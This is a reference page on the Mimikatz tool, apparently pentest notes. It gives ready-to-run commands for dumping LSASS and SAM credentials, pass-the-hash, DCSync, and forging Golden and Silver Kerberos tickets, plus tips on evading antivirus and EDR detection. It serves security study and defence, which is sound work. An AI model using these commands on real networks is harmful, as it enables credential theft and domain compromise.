mimikatz
Table of Contents
Created by Benjamin Delpy, Mimikatz was originally developed as a proof-of-concept to show that Microsoft's authentication protocols were vulnerable. It has since become one of the most widely used tools by both penetration testers and threat actors for credential theft and lateral movement.
Related: Active Directory Kerberos Pass-the-Hash Pass-the-Ticket Bloodhound Lateral movement
How It Works
Mimikatz primarily targets the Local Security Authority Subsystem Service (LSASS). This is the Windows process responsible for enforcing security policy, verifying users logging on, and handling password changes.
Nearly every command requires elevated privileges first:
privilege::debug
Run this once at the start of a session — most other commands fail silently or with an access-denied error without it.
Core Commands
| Command | Purpose |
|---|---|
privilege::debug |
Grant debug privileges — prerequisite for most commands |
sekurlsa::logonpasswords |
Dump credentials (cleartext, NTLM, Kerberos keys) from LSASS memory |
sekurlsa::pth |
Pass-the-Hash — spawn a process authenticated as another user via NTLM hash |
lsadump::sam |
Dump local SAM database hashes |
lsadump::lsa /patch |
Dump domain account hashes from an LSA-patched DC |
lsadump::dcsync |
Remotely request password data via replication rights (no code execution on DC needed) |
kerberos::golden |
Forge a Golden Ticket (krbtgt hash — full domain access) |
kerberos::silver |
Forge a Silver Ticket (service account hash — access to one service) |
kerberos::ptt |
Pass-the-Ticket — inject a forged/stolen ticket into the current session |
sekurlsa::tickets |
List Kerberos tickets currently in memory |
Examples
1. Dumping Cleartext Passwords (WDigest)
In older or misconfigured Windows systems, Mimikatz can pull passwords directly in plain text.
# Standard sequence to get credentials privilege::debug # Grant debug privileges to the tool sekurlsa::logonpasswords # Extract passwords from memory
Only works if WDigest is enabled (UseLogonCredential=1 in the
registry) — common on older systems, disabled by default since
Windows 8.1/Server 2012 R2.
2. Pass-the-Hash (PtH)
If an attacker has the NTLM hash of an admin, they can spawn a new process acting as that user.
# Launch a command prompt as 'Administrator' using only their NTLM hash sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:ab1234567890abcdef1234567890abcd
3. Extracting Hashes from the SAM
If the attacker has local admin rights, they can dump the local account database.
lsadump::sam
4. DCSync — Dumping Domain Hashes Remotely
If the compromised account has Replicating Directory Changes rights
(often via GenericAll=/=DCSync edge in BloodHound), the domain's
password hashes can be pulled without ever touching the DC's disk.
# Dump krbtgt hash specifically — needed for a Golden Ticket lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt # Dump a specific user lsadump::dcsync /domain:DOMAIN.LOCAL /user:Administrator
5. Golden Ticket
With the krbtgt hash (from DCSync or a compromised DC), forge a Kerberos TGT granting Domain Admin access to the entire domain, valid until the krbtgt password is rotated twice.
kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL \ /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> /ticket:golden.kirbi # Inject into current session kerberos::ptt golden.kirbi
6. Silver Ticket
With a service account's NTLM hash, forge a TGS for that specific service only — narrower than a Golden Ticket but doesn't touch the krbtgt account and is harder to detect via krbtgt-focused monitoring.
kerberos::silver /user:Administrator /domain:DOMAIN.LOCAL \ /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ /target:dc01.domain.local /service:cifs \ /rc4:<service_account_ntlm_hash> /ticket:silver.kirbi kerberos::ptt silver.kirbi
Defensive Countermeasures
Because Mimikatz is so effective, modern Windows versions have introduced several protections:
- LSA Protection: Prevents non-protected processes from reading the memory of LSASS.
- Credential Guard: Uses virtualization-based security to isolate secrets so even an admin-level user cannot dump them with Mimikatz.
- EDR/AV Signatures: Most security software will instantly flag
and quarantine the
mimikatz.exebinary.
Tips
- Run
privilege::debugfirst, every session — the single most common reason a command silently fails - DCSync doesn't need code execution on the DC at all — only
replication rights on the compromised account. Check for this
right in BloodHound (
GetChangesAll=/=GetChangesor theDCSyncedge) before assuming you need a DC foothold - A Golden Ticket survives a targeted account password reset — it's only invalidated by rotating the krbtgt account's password (twice, since NTLM keeps the previous password valid briefly)
- Prefer a Silver Ticket over Golden when you only need access to one specific service — it doesn't touch krbtgt and generates less detectable telemetry
- If
mimikatz.exeis flagged by AV/EDR, PowerShell-based in-memory variants (e.g. Invoke-Mimikatz) or manually compiling from source can reduce signature detection — expect this to be increasingly unreliable against modern EDR sekurlsa::logonpasswordsoften returns nothing for cleartext on current systems — WDigest is off by default; don't treat an empty result as a tool failure